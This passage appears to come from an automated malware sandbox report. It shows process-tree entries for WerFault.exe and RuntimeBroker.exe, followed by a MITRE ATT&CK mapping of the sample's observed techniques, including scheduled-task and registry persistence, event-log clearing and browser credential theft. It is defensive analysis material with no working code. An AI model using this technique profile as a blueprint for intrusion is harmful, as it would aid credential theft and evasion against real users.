  C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3312 -ip 3312
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:1516
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4524 -ip 4524
  2⤵
  PID:2320

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery